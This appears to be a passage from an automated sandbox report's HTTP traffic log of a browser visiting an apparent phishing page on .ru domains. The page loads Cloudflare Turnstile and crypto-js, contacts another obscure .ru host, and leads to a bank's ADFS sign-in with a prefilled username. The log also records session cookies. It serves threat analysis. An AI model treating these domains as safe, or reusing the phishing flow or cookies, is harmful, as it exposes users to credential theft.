Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pllu.gnoqwwhpwe.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pllu.gnoqwwhpwe.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pllu.gnoqwwhpwe.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pllu.gnoqwwhpwe.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://pllu.gnoqwwhpwe.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffe977e4cfef78d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffe977e4cfef78d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pllu.gnoqwwhpwe.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pllu.gnoqwwhpwe.ru/3aeK/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjgzSVpEQUpSSUt5NkhGc25sZ3JlbXc9PSIsInZhbHVlIjoiRGZSa1N5TCtQdWxNOVNheWI3M2FrenlnNjh1VWU3OWFxRjhhbHlSajAvUTM5eUgyZStucWwwQ0RRTnJiMWNIZFBoYW5QSFNIYjgzQUhhcXUyRkpRaHFmR0lnd1BoMUZSNERPNC9xUGlDVGowbnlScW5UVkwwQTZOdlUxZ2ZXTXEiLCJtYWMiOiJlN2FmM2NjMzI5MjUyMGE1ODZiNWJjZjczODY1MzU1NGZkMzhiNmNmMTRiNWRjMTVhMGU4ZmJiZmQ0YzFhMjFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpZNDhnems4MVVwWktPQTlna2M2U0E9PSIsInZhbHVlIjoiZTFaTk9xRWxDdHVpaTVjV3gzUi81cEhYMWFQQ3BXVU1FTGU5OXJFWk9ISTZOVUszZys4ZlRwS2ZwZkJVUk1oNE1nb0tIcjlOazJPTWJjd0xKRndKSjdjZEd1Ri8ra3kwbGdPS3F5MUhsUXFVblRmdXhCYXQ2YjJpTVY5bGtNbXAiLCJtYWMiOiIxOGI4YmViNDExNDBiYTc3ZjIyNTE0MTBmNDBjNWI1MzE4MDk4Y2VkODBlZTcyZGEzMGQyZmU3YWMzOGE1Mjg2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ffe977e4cfef78d/1736532291986/Ej-fINSRsm2htnA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ffe977e4cfef78d/1736532291986/Ej-fINSRsm2htnA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8ffe977e4cfef78d/1736532291987/2b8f3c0d63c30527a2f21b4e3f221afc289a4658e27b6d2ec697f70f760bb6dd/-FuElFTzHV5fb2e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ojacm/0x4AAAAAAA0rfpQOBx227C7S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1120917298:1736529426:TPD1bQ9AIEZMjnE_a_w72TH4JrPyWqpr_ya02KG-AqU/8ffe977e4cfef78d/h0yoRtoHt5sb3AAlO3AHxLxC7AKofDDqL5Ai9T4BfYY-1736532290-1.1.1.1-E4eDpNQMeb6Q5SyYa3Z6Ie8h7weFT7Fmw0VQ17C2HrXK4txa2isGp_DWXg67b7hp HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /awoinxoxnrisqscbygoqtwyKxBtFBoFUOVATIQEHXEJGGLFDBDTSZMLHBXDYBMEVJMDXT HTTP/1.1Host: qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://pllu.gnoqwwhpwe.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pllu.gnoqwwhpwe.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /awoinxoxnrisqscbygoqtwyKxBtFBoFUOVATIQEHXEJGGLFDBDTSZMLHBXDYBMEVJMDXT HTTP/1.1Host: qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795BjnLvvoUVjvf3S-XcndxR7vkO8vXujYnmt0z5u0__Of3pg6_yh6uT3PVuddFmQbutib20nk54uKFtMEn06VqfWCufr0pSALhpdy7KW-WEOgb3i8j9YvG6eMA1R0JLZkbYX0Xko73czwf_6_Sj194slVJ35Efm2LeXh_-5_evruedvPHj8yyefPfjtaffJrfe7a0qIsw47XPTaukHK-ECUetLCNyRzGM0FP9OYNXHWJOtMdPJ9OfdHOfcC0&cbcxt=&username=john.doe%40jpmchase.net&mkt=en-US&lc= HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795BjnLvvoUVjvf3S-XcndxR7vkO8vXujYnmt0z5u0__Of3pg6_yh6uT3PVuddFmQbutib20nk54uKFtMEn06VqfWCufr0pSALhpdy7KW-WEOgb3i8j9YvG6eMA1R0JLZkbYX0Xko73czwf_6_Sj194slVJ35Efm2LeXh_-5_evruedvPHj8yyefPfjtaffJrfe7a0qIsw47XPTaukHK-ECUetLCNyRzGM0FP9OYNXHWJOtMdPJ9OfdHOfcC0&cbcxt=&username=john.doe%40jpmchase.net&mkt=en-US&lc=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/css/OpenSans-VariableFont_wdth,wght.css HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://idag2.jpmorganchase.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://idag2.jpmorganchase.com/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
Source: global traffic	HTTP traffic detected: GET /adfs/fs/federationserverservice.asmx HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795BjnLvvoUVjvf3S-XcndxR7vkO8vXujYnmt0z5u0__Of3pg6_yh6uT3PVuddFmQbutib20nk54uKFtMEn06VqfWCufr0pSALhpdy7KW-WEOgb3i8j9YvG6eMA1R0JLZkbYX0Xko73czwf_6_Sj194slVJ35Efm2LeXh_-5_evruedvPHj8yyefPfjtaffJrfe7a0qIsw47XPTaukHK-ECUetLCNyRzGM0FP9OYNXHWJOtMdPJ9OfdHOfcC0&cbcxt=&username=john.doe%40jpmchase.net&mkt=en-US&lc=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ppnet_4651=!faFkMGW7cCwxhkqSYQ1AryCmFyCHSbMazogG94WfkJ8wNBjKFE+Nu9/wompaxs90Eo81DU8TGtLDF64=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/script/mfaotpsms.js HTTP/1.1Host: idag2.jpmorganchase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI7jNt0AMbj5C53FwGNDqja7QYGhIjjv-34cdJJl8vT5_wd2Wc7sZcofiS240fi2HESqRISC0x04KXbQEw3AEIdgAXmE0NZuxQxdmgRA-rYK8wVy6fvp2_8fqU9Gq2hAMXeK-AodvwOSVM1kqwZFQI3qQrJGliFIWyqAiyWuJlwmjLH8WGp_PGH69PfH3_Z-uKbZ9a924XLK-TISZL58rhazbIMjSYT17RRMwqq_ji03HC6wn9EkIcIcpnftcOKcnGVX1IEQ-MAZwFG0YBlbwCFOATaQA9gh0t0r-1CF8M02cx6sjPT5GkieBoJm4IHmwqAQWujdyCAWwUXPCWB8lkgbDCsP-BqPdmfCV490ba6qwUiCXHVEbYc-Sh_q19PEwd_GVHsbu2_8weTKA5G82iZXBY-z7fBRheHSn-TkuMe4S_cOWxwunVmmXDYISBW8aYS5daEcXdlJyvHrXOzRVdpz9RtEsG1KMc8HZxfpH1Ruhg4fXtVb59nzNzc8Cpf3wqmx4w8KFkGqIzJSdOAUzNV2UkjEXsyxyY1K8x0XLMojeSnjuORo5YydrUuZHGfkdQl4fhKDGotg9gAmVO2aotiMp6zO0DxIR_WIpmJZqmpbhdjmewNBTKpBf30fAjJsIGpvGtFYjDsK72YbjRcfcmyTeNiRtSBmm4GzcznpoaxxkjBGQJJHfLxSjAIK6TXA_GqcPcV967wHwrFmxJE4XWBjuZ26FpH8ziauL79KiVWeLX_L3WjwEbrvv9n4W0vckLUiuxTbx6Yznhpo6GdPNxBnuzc3t8r795BjnLvvoUVjvf3S-XcndxR7vkO8vXujYnmt0z5u0__Of3pg6_yh6uT3PVuddFmQbutib20nk54uKFtMEn06VqfWCufr0pSALhpdy7KW-WEOgb3i8j9